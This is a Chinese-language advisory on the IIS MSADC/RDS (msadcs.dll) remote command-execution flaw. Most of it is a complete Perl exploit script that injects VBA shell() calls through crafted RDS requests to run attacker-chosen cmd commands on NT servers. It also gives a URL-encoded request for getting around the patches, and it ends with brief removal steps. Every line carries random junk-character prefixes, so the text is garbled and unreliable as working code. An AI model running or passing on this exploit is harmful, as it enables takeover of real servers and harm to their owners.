IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
tZY6{,K%4 C^fn[plL 涉及程序:
(F&o!W Microsoft NT server
*mz-g7 !E6QED" 描述:
H@te!EE 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
i!*8@:VI RBLOc$2 详细:
[ut[W9 如果你没有时间读详细内容的话,就删除:
txiX1o!/L c:\Program Files\Common Files\System\Msadc\msadcs.dll
Cw l: 有关的安全问题就没有了。
\[d~O>k2 `PT'Lakf;3 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
>uxAti\ YH&q5W,KX 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
!ou;yE&<, 关于利用ODBC远程漏洞的描述,请参看:
tC5>K9Ed (W.G&VSn) http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 4N5\sdi /@1pm/>ZaN 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Fd#Zu.Np http://www.microsoft.com/security/bulletins/MS99-025faq.asp VV/aec8 "H]R\xp 这里不再论述。
mRy0zN>? ,hWuAu6.L 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
rYM@e }S;A%gYm /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
w3&L 6|, 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
30O7u3Zrb *6G@8TIh "|BSGV!8 #将下面这段保存为txt文件,然后: "perl -x 文件名"
Hb[P|pPT T_d)1m fl #!perl
iZ4"@G:, #
Q)=2%X # MSADC/RDS 'usage' (aka exploit) script
x2f=o|]D' #
,'n`]@0?\ # by rain.forest.puppy
xX@9wNYD #
FQ0PXYh # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
MS]Q\g}U # beta test and find errors!
6(>,qt,9S /CUBs! use Socket; use Getopt::Std;
Bh&dV%' getopts("e:vd:h:XR", \%args);
a+j"8tHu$ R7A:K]iJ5 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
5n[''#D k\r^GB
if (!defined $args{h} && !defined $args{R}) {
5z:#Bl-,L print qq~
%a]Imsm Usage: msadc.pl -h <host> { -d <delay> -X -v }
>qPP_^] -h <host> = host you want to scan (ip or domain)
(mioKO )?v -d <seconds> = delay between calls, default 1 second
/iL*) -X = dump Index Server path table, if available
6Fc*&7Z+ -v = verbose
wG73GD38 -e = external dictionary file for step 5
agq4Zy m;0ZV%c*j Or a -R will resume a command session
h@TP= :sttGXQX ~; exit;}
q0b*#j 7.]H9 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
yY]E~ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
`fE'$2 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
i1K$~ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
f`iDF+h<6 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
!JBj%| ! if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
q8H nPXV d5`D[,]d if (!defined $args{R}){ $ret = &has_msadc;
X|aD>CT die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
S|fb' biS{. print "Please type the NT commandline you want to run (cmd /c assumed):\n"
csA-<}S5]b . "cmd /c ";
@1 i<=r $in=<STDIN>; chomp $in;
Ro;I%j $command="cmd /c " . $in ;
mW~*GD~r s~ou$!| if (defined $args{R}) {&load; exit;}
6
$`l .@ZrmO
o]] print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
s LWVgD &try_btcustmr;
HA[7)T N1E < FY%QB)h print "\nStep 2: Trying to make our own DSN...";
[,{Nu EI &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
";/ogFi *U$%mZS]1 print "\nStep 3: Trying known DSNs...";
fe8hgTP| &known_dsn;
FNw]DJ] z|t2;j[ print "\nStep 4: Trying known .mdbs...";
M%g2UP &known_mdb;
X3~`~J B4 5#-V if (defined $args{e}){
Ug384RzHN print "\nStep 5: Trying dictionary of DSN names...";
?<S fhjU &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
QMy1!:Z&! [7 NO !^ print "Sorry Charley...maybe next time?\n";
QKhGEW~G exit;
/,~g"y.;, +N'&6z0Wf ##############################################################################
Z:^ S-h 2H`>Kj sub sendraw { # ripped and modded from whisker
3d,:,f|h sleep($delay); # it's a DoS on the server! At least on mine...
#hk5z;J5 my ($pstr)=@_;
Q3Y(K\ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
FlUO3rc| die("Socket problems\n");
m/;fY>}3 if(connect(S,pack "SnA4x8",2,80,$target)){
*aq"c9 select(S); $|=1;
y.s\MWvv>u print $pstr; my @in=<S>;
c|Z6p{)V select(STDOUT); close(S);
GB;_!69I return @in;
p=^6V"' } else { die("Can't connect...\n"); }}
Yh Ow0 x JcMl*k ##############################################################################
suYbD!`( 'Hs* sub make_header { # make the HTTP request
4?bvJJuf) my $msadc=<<EOT
>
6=3y4tP POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
nwzyL`kF User-Agent: ACTIVEDATA
))nTd= Host: $ip
oKH+Q6S: Content-Length: $clen
dpX Fx"4A Connection: Keep-Alive
ru~!;xT <
+kdL ADCClientVersion:01.06
@yC3a)=$L Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
gI"cZ h3} x 0#u2j?zj --!ADM!ROX!YOUR!WORLD!
3_.%NgES| Content-Type: application/x-varg
LOr( HgyC Content-Length: $reqlen
BR_fOIDc TQPrOs? EOT
%;|dEY ; $msadc=~s/\n/\r\n/g;
Qc=-M'9 return $msadc;}
$~VIx% h U9*< dR ##############################################################################
&0H_W xKeB ;*ni%|K sub make_req { # make the RDS request
Wyow MFp my ($switch, $p1, $p2)=@_;
7#Uzz"^ my $req=""; my $t1, $t2, $query, $dsn;
w9mAeGyE I$4>_D if ($switch==1){ # this is the btcustmr.mdb query
'Sesh'2
/ $query="Select * from Customers where City=" . make_shell();
X?;iSekI4 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
C\OZs%]At $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Se37- W}%"xy ]N elsif ($switch==2){ # this is general make table query
k+J63+obd $query="create table AZZ (B int, C varchar(10))";
VDZOJM)( $dsn="$p1";}
]EUQMyR Z[B:6\oQ elsif ($switch==3){ # this is general exploit table query
E|jU8qz>P $query="select * from AZZ where C=" . make_shell();
l2YA/9. $dsn="$p1";}
g_A#WQyh\' 7%[ YX elsif ($switch==4){ # attempt to hork file info from index server
|.$7.8g $query="select path from scope()";
MOay^{u $dsn="Provider=MSIDXS;";}
Y9&na&vY? x34GRe!! elsif ($switch==5){ # bad query
B|8|f(tsSa $query="select";
/ {[p?7x> $dsn="$p1";}
q~Al[`K rl&.|;5uH; $t1= make_unicode($query);
)4.-6F7U? $t2= make_unicode($dsn);
^FVmP d*1 $req = "\x02\x00\x03\x00";
K4+|K:e $req.= "\x08\x00" . pack ("S1", length($t1));
71ab&V il $req.= "\x00\x00" . $t1 ;
b'z\|jY $req.= "\x08\x00" . pack ("S1", length($t2));
XHOS"o$y $req.= "\x00\x00" . $t2 ;
l N0u1)'2 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
8R-;cBT return $req;}
wh2E$b(- @,-D
P41g ##############################################################################
O{Mn\M6 :z *jl'L sub make_shell { # this makes the shell() statement
F2ISg' return "'|shell(\"$command\")|'";}
z#rp8-HUDS ;>;it5 l= ##############################################################################
2-Wy@\ >oaL -01i sub make_unicode { # quick little function to convert to unicode
o^MoU2c my ($in)=@_; my $out;
ZU;jz[} for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
F6b;qb6n return $out;}
*"4l}& pU[yr'D.r ##############################################################################
y$_]}<b WK@<# sub rdo_success { # checks for RDO return success (this is kludge)
}TAG7U* my (@in) = @_; my $base=content_start(@in);
-_eG/o=M if($in[$base]=~/multipart\/mixed/){
$<Y%4LI return 1 if( $in[$base+10]=~/^\x09\x00/ );}
OdNcuiLa return 0;}
td23Z1Elk# KmM:V2@A$ ##############################################################################
NV@$\< m6]6!_ sub make_dsn { # this makes a DSN for us
pn){v my @drives=("c","d","e","f");
mEkYT print "\nMaking DSN: ";
w`3.wALb foreach $drive (@drives) {
.+<Ka0 print "$drive: ";
eH[i<Z my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
x5Fo?E "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
zA:q/i . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
jUgx
;= $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
m|t\w|B2 return 0 if $2 eq "404"; # not found/doesn't exist
M)AvcZNs if($2 eq "200") {
h@\HPYi#. foreach $line (@results) {
b!`Ze~V return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
U~t!
} return 0;}
,?Zy4- 53pT{2]zAi ##############################################################################
s.n:;8RibP qDz[=6BF sub verify_exists {
ir>+p>s. my ($page)=@_;
|F<%gJ my @results=sendraw("GET $page HTTP/1.0\n\n");
vts" return $results[0];}
<*-8E(a m/(/!MVy ##############################################################################
7Cbr'!E\_V J#t8xL sub try_btcustmr {
Z,81L3#6 my @drives=("c","d","e","f");
:XPat93w my @dirs=("winnt","winnt35","winnt351","win","windows");
\pTv;( {XUSw8W' foreach $dir (@dirs) {
rmtCCPF?0 print "$dir -> "; # fun status so you can see progress
[?;L foreach $drive (@drives) {
YnW9uy5 print "$drive: "; # ditto
mFxt +\ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Msfxce $reqlenlen=length( "$reqlen" );
LU`) $clen= 206 + $reqlenlen + $reqlen;
Fp[49 ]gm3|-EiY my @results=sendraw(make_header() . make_req(1,$drive,$dir));
G"kX#k0S if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Q~k|lTf else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
aNQ(xiskb rKdsVW ##############################################################################
k B4Fz ZM<UiN sub odbc_error {
81(\8#./ my (@in)=@_; my $base;
sG[qlzR=8 my $base = content_start(@in);
J$sp6g>K if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
'zT7$ .L $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
a|#pl! $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
1
XJZuv,T: $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
[7[Qw]J return $in[$base+4].$in[$base+5].$in[$base+6];}
pF8:?p['z print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
NWQ7%~#k* print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
T4gfQ6# $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
(njTS+? 4;gw&sFF ##############################################################################
ggYi 7Wzsd F MYcZ+4 sub verbose {
=MD)F my ($in)=@_;
PxvxZJf$@ return if !$verbose;
e^\#DDm print STDOUT "\n$in\n";}
`w8cV? x!pd50- ##############################################################################
)1R[X!KQ7 ImH9 F\ sub save {
0Q8iX) my ($p1, $p2, $p3, $p4)=@_;
g}K/ba' open(OUT, ">rds.save") || print "Problem saving parameters...\n";
$=^}J6 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
/h`gQyGuY close OUT;}
]n<Ba7Y E?|NYu#I6 ##############################################################################
X%fLV( S1'?"zAmd
sub load {
CRrEs
18;# my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
IB 4L(n1 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
1p&=tN @p=<IN>; close(IN);
t}pYSSTz $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
QR8]d1+GV $target= inet_aton($ip) || die("inet_aton problems");
nGc'xQy0 print "Resuming to $ip ...";
PU B0H $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
)J+rt^4| if($p[1]==1) {
nU\.`.39
+ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
T2)CiR-b $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
Uspv^O9_ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
{TMng& if (rdo_success(@results)){print "Success!\n";}
qs_cC3"=%= else { print "failed\n"; verbose(odbc_error(@results));}}
uGW#z_{(n elsif ($p[1]==3){
B>\q!dX3 if(run_query("$p[3]")){
0o BAJP print "Success!\n";} else { print "failed\n"; }}
0]]OE+9<c elsif ($p[1]==4){
ba
,n/yH if(run_query($drvst . "$p[3]")){
o_kZ print "Success!\n"; } else { print "failed\n"; }}
_D8 zKp exit;}
;pfN FYefn3b ##############################################################################
.'2I9P\! x;~@T9. sub create_table {
2e3AmR@* my ($in)=@_;
-ik((qx_ $reqlen=length( make_req(2,$in,"") ) - 28;
<@+L^Ps~z $reqlenlen=length( "$reqlen" );
NE)w$>0M $clen= 206 + $reqlenlen + $reqlen;
M\7F1\ X my @results=sendraw(make_header() . make_req(2,$in,""));
d/$e#8 return 1 if rdo_success(@results);
sE|8a my $temp= odbc_error(@results); verbose($temp);
VsK8 :[Al return 1 if $temp=~/Table 'AZZ' already exists/;
$kMe8F_ return 0;}
T-kHk( w-v8P`V ##############################################################################
REi"Aj= CD^@*jH9" sub known_dsn {
2.v`J=R # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
$M4_"!
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
2_?VR~mA# "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
v~._]f$: "banner", "banners", "ads", "ADCDemo", "ADCTest");
l^}5PHLd vMn$lT@ foreach $dSn (@dsns) {
J#iuF'%Ds print ".";
00y(E@~ next if (!is_access("DSN=$dSn"));
`w@z
Fc!" if(create_table("DSN=$dSn")){
5bI4'
; print "$dSn successful\n";
4 EA$<n(A- if(run_query("DSN=$dSn")){
7*Zm{r@u print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
,lFzL3'_0x print "Something's borked. Use verbose next time\n";}}} print "\n";}
'X/:TOk{W mY XL ##############################################################################
)
R\";{`M r8czDc),b sub is_access {
ybv< 1 my ($in)=@_;
n%~r^C_ $reqlen=length( make_req(5,$in,"") ) - 28;
$ >].;y?$ $reqlenlen=length( "$reqlen" );
QAZs1;lU $clen= 206 + $reqlenlen + $reqlen;
t0P_$+w.> my @results=sendraw(make_header() . make_req(5,$in,""));
Y( K`3?A my $temp= odbc_error(@results);
55y{9.n* verbose($temp); return 1 if ($temp=~/Microsoft Access/);
- JFW ,8=8 return 0;}
q9InO]s&~= <&)zT#" ##############################################################################
1}ifJ~)5S tO"AeZe%| sub run_query {
4U'sBaY!K my ($in)=@_;
ATmyoN2@> $reqlen=length( make_req(3,$in,"") ) - 28;
&fkH\o7) $reqlenlen=length( "$reqlen" );
B/3xV:Gy $clen= 206 + $reqlenlen + $reqlen;
]lE5^<<
my @results=sendraw(make_header() . make_req(3,$in,""));
aSHN*tP%y return 1 if rdo_success(@results);
uz=9L<$ my $temp= odbc_error(@results); verbose($temp);
HoWK#Nz\ return 0;}
`G*fx=N MD,BGO?C ##############################################################################
Jiru~Vo+ b#t5Dve sub known_mdb {
XQ}7.u! my @drives=("c","d","e","f","g");
NPa4I7`A my @dirs=("winnt","winnt35","winnt351","win","windows");
U56g|V my $dir, $drive, $mdb;
r(n>N0:0Ls my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
v6=X]Ji{YA k>!i
_lb
# this is sparse, because I don't know of many
rploQF~OFF my @sysmdbs=( "\\catroot\\icatalog.mdb",
nU#K=e
=W "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
4`RZ&w;1H2 "\\system32\\certmdb.mdb",
-ntQqHs "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
/~+Fzz 0Q
cJ Ek my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
|&bucG= "\\cfusion\\cfapps\\forums\\forums_.mdb",
WBzPSnS2 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
L`rrT "\\cfusion\\cfapps\\security\\realm_.mdb",
EgzdRB\Cf "\\cfusion\\cfapps\\security\\data\\realm.mdb",
{sq:vu@NC "\\cfusion\\database\\cfexamples.mdb",
a/%qn-i|p "\\cfusion\\database\\cfsnippets.mdb",
"#f5jH "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
$V/Ke "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
b 1."mT!p "\\cfusion\\brighttiger\\database\\cleam.mdb",
G2|G}#E "\\cfusion\\database\\smpolicy.mdb",
, BZ(-M "\\cfusion\\database\cypress.mdb",
0+e0<' "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
2:yXeSeA "\\website\\cgi-win\\dbsample.mdb",
X1V~.kvt) "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
hOdU% "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
2G3Hi;q18 ); #these are just
TKEcbGhy foreach $drive (@drives) {
OsYZa`$, foreach $dir (@dirs){
ps/|^8aGZ foreach $mdb (@sysmdbs) {
,t'"3<^Jg print ".";
6_tl_O7 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
F2)KAIl print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
9u3P>a~b if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
I0^oaccM print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
u:wijkx } else { print "Something's borked. Use verbose next time\n"; }}}}}
xKepZ 4"^W/Zo foreach $drive (@drives) {
X@)'E9g5: foreach $mdb (@mdbs) {
~1S,[5u|s print ".";
F
hyY+{% if(create_table($drv . $drive . $dir . $mdb)){
mFd|JbW print "\n" . $drive . $dir . $mdb . " successful\n";
KyqP@
{ if(run_query($drv . $drive . $dir . $mdb)){
AF{@lDa1h print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
RyWfoLc } else { print "Something's borked. Use verbose next time\n"; }}}}
YnCuF0> }
lf R}cx :x?G[x= ##############################################################################
w2r*$Q ,1vFX$ sub hork_idx {
vEt+^3= print "\nAttempting to dump Index Server tables...\n";
AthR|I|8 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
B.gEV*@ $reqlen=length( make_req(4,"","") ) - 28;
CT<z1)#@^ $reqlenlen=length( "$reqlen" );
"
#U-*Z7 $clen= 206 + $reqlenlen + $reqlen;
?dCJv_w my @results=sendraw2(make_header() . make_req(4,"",""));
~BnmAv$m[ if (rdo_success(@results)){
W3R43>$ my $max=@results; my $c; my %d;
nwDGzC~y< for($c=19; $c<$max; $c++){
$)=`Iai $results[$c]=~s/\x00//g;
AD6 b $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
&oFgZ . $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
jHx\YK@e\ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
lg^Lk\Y+re $d{"$1$2"}="";}
ZA'0q foreach $c (keys %d){ print "$c\n"; }
-KqMSf&9 } else {print "Index server doesn't seem to be installed.\n"; }}
'loko#6 /c7jL4oD ##############################################################################
(^<skx> =#&+w[4?&. sub dsn_dict {
N)KN!! open(IN, "<$args{e}") || die("Can't open external dictionary\n");
kn&BGYt while(<IN>){
N[yS heT $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Qv8 =CnuOT next if (!is_access("DSN=$dSn"));
W{ZJ^QAq/ if(create_table("DSN=$dSn")){
)E6E} print "$dSn successful\n";
K_qA[n if(run_query("DSN=$dSn")){
UHIXy#+o5 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
91k-os(4] print "Something's borked. Use verbose next time\n";}}}
h6tYy_(G print "\n"; close(IN);}
tC7 4= =>GGeEL ##############################################################################
tS,AS,vy] 8N`Rf;BM sub sendraw2 { # ripped and modded from whisker
> aCY sleep($delay); # it's a DoS on the server! At least on mine...
5R1?jlm my ($pstr)=@_;
(Q.I DDlr socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
H*",'`|- die("Socket problems\n");
W4nhPH( if(connect(S,pack "SnA4x8",2,80,$target)){
;g<y{o"Q3p print "Connected. Getting data";
OgCNqW
d- open(OUT,">raw.out"); my @in;
bhfC2@ select(S); $|=1; print $pstr;
'\"5qB while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
81)i>] close(OUT); select(STDOUT); close(S); return @in;
gaE8\JSr } else { die("Can't connect...\n"); }}
x5M+\?I<2 Sa:;j4 ##############################################################################
5tY/ d=\k ^<j
=.E sub content_start { # this will take in the server headers
>h(GmR*xM my (@in)=@_; my $c;
* C*aH6* for ($c=1;$c<500;$c++) {
D28>e if($in[$c] =~/^\x0d\x0a/){
q$}gQ9'z' if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
!0v3Lu~j else { return $c+1; }}}
2=naPTP( return -1;} # it should never get here actually
bPuO~#iN~ c/Li,9cT' ##############################################################################
Zk31|dL 1I8<6pi- sub funky {
WkPT6d my (@in)=@_; my $error=odbc_error(@in);
k#8E9/t@ if($error=~/ADO could not find the specified provider/){
! 'Hd:oD< print "\nServer returned an ADO miscofiguration message\nAborting.\n";
V&lx0Dy exit;}
6Z@T
/"mU( if($error=~/A Handler is required/){
\[wbJ print "\nServer has custom handler filters (they most likely are patched)\n";
Ghar
hJ>v exit;}
H9WXp& if($error=~/specified Handler has denied Access/){
e&NJj:Ph* print "\nServer has custom handler filters (they most likely are patched)\n";
GX*9R> exit;}}
r<Q0zKW!jN pK0@H "$8 ##############################################################################
)C rsm& [?2,(X0yh1 sub has_msadc {
KfQR(e9n my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
$JiypX^DOP my $base=content_start(@results);
Yt=2HJY return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
VaO[SW^ return 0;}
!;Pp)SRzKG JX#0<U|L ########################
.(yJ+NU cPg{k}9Tvy y
QGd<( 解决方案:
5>~D3?IAd 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
?Q"1zcX 2、移除web 目录: /msadc